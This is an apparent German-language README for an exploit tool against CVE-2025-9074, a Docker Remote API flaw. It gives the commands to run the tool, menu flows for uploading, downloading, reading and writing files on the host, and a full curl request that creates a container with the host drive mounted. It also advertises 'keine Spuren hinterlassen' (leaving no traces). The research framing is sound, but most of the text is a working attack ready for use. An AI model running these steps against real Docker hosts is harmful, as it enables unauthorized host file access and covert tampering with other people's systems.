
Ein leistungsstarkes Docker-Remote-API-Schwachstellen-Exploit-Tool für Sicherheitsforschung und Tests der Schwachstelle CVE-2025-9074.
Ein leistungsstarkes Tool zur Ausnutzung der Docker Remote API für die Sicherheitsforschung und das Testen der Schwachstelle CVE-2025-9074.
✅ Vollautomatisches Container-Lebenszyklus-Management: Automatische Erstellung temporärer Container, automatische Bereinigung nach Abschluss des Vorgangs, keine Spuren hinterlassen
✅ Intelligente Pfadverarbeitung: Automatische Erkennung und Konvertierung von Windows-Pfaden in das Docker-Mount-Format
✅ Vollständig automatisierter Arbeitsablauf: Keine manuelle Eingabe komplexer Befehle erforderlich, menügesteuerte Interaktion, Dateivorgänge mit einem Klick
✅ Plattformübergreifend: Perfekte Unterstützung für Windows- und Linux-Systeme
Container-Operationen
Image-Verwaltung
Dateioperationen auf dem Host
CVE-2025-9074 ist eine Sicherheitslücke in der Docker Remote API. Ein Angreifer kann durch nicht autorisierten Zugriff auf die Docker API Folgendes tun:
Installieren Sie alle Abhängigkeiten mit der requirements.txt:
pip install -r requirements.txt
Oder manuelle Installation:
pip install requests docker websocket-client
Führen Sie das Skript direkt mit der Standard-Docker-API-Adresse aus:
python CVE-2025-9074-docker-exploit.py
python CVE-2025-9074-docker-exploit.py -u http://192.168.1.100:2375
python CVE-2025-9074-docker-exploit.py [Optionen]
Optionen:
-u, --url URL Docker-API-Adresse (Standard: http://192.168.65.7:2375)
1. Datei auf den Host hochladen
Bitte geben Sie den lokalen Dateipfad ein: /path/to/local/file.txt
Bitte geben Sie das Zielverzeichnis auf dem Host ein: D:/temp
Bitte geben Sie den Ziel-Dateinamen ein (leer lassen für Originalnamen):
2. Datei vom Host herunterladen
Bitte geben Sie den Dateipfad auf dem Host ein: D:/temp/file.txt
Bitte geben Sie den lokalen Speicherpfad ein: /tmp
3. Inhalt einer Datei auf dem Host lesen
Bitte geben Sie den Dateipfad auf dem Host ein: D:/temp/file.txt
4. Datei auf dem Host schreiben
Bitte geben Sie das Zielverzeichnis auf dem Host ein: D:/temp
Bitte geben Sie den Dateiinhalt ein: Hello, World!
Dieses Tool verarbeitet automatisch die Pfadzuordnung von Windows Docker Desktop:
| Windows-Pfad | Docker-Mount-Pfad |
|---|---|
D:\ | /mnt/host/d |
D:\temp | /mnt/host/d/temp |
C:\Windows | /mnt/host/c/Windows |
C:\Users\test | /mnt/host/c/Users/test |
Unterstützte Eingabeformate:
D:\ oder D:/D:\temp oder D:/temp"D:\file.txt" (mit Anführungszeichen)'D:/file.txt' (mit Anführungszeichen)⚠️ Wichtiger Hinweis:
Erstellen eines Containers über die Docker API und Einbinden der Host-Festplatte:
curl -X POST "http://<target>:2375/containers/create" \
-H "Content-Type: application/json" \
-d '{
"Image": "python:3.11.7",
"Cmd": ["sleep", "999d"],
"HostConfig": {
"Binds": ["/mnt/host/d:/tmp"]
},
"Tty": true
}'
Lesen und Schreiben von Host-Dateien durch Ausführen von Befehlen im Container:
# Datei schreiben
echo "content" > /tmp/file.txt
# Datei lesen
cat /tmp/file.txt
pip install docker websocket-clientpython CVE-2025-9074-docker-exploit.py
CVE-2025-9074-docker-exploit.py
├── Container-Verwaltungsfunktionen
│ ├── get_containers()
│ ├── display_containers()
│ ├── create_container()
│ ├── stop_container()
│ └── delete_container()
├── Image-Verwaltungsfunktionen
│ ├── get_images()
│ ├── display_images()
│ ├── pull_image()
│ └── remove_image()
├── Host-Dateioperationsfunktionen
│ ├── upload_file_to_host()
│ ├── download_file_from_host()
│ ├── read_file_from_host()
│ └── write_file_to_host()
└── Hilfsfunktionen
├── normalize_host_path()
├── create_container_with_mount()
├── start_container()
└── stop_and_remove_container()
Issue- und Pull-Request-Einreichungen sind willkommen!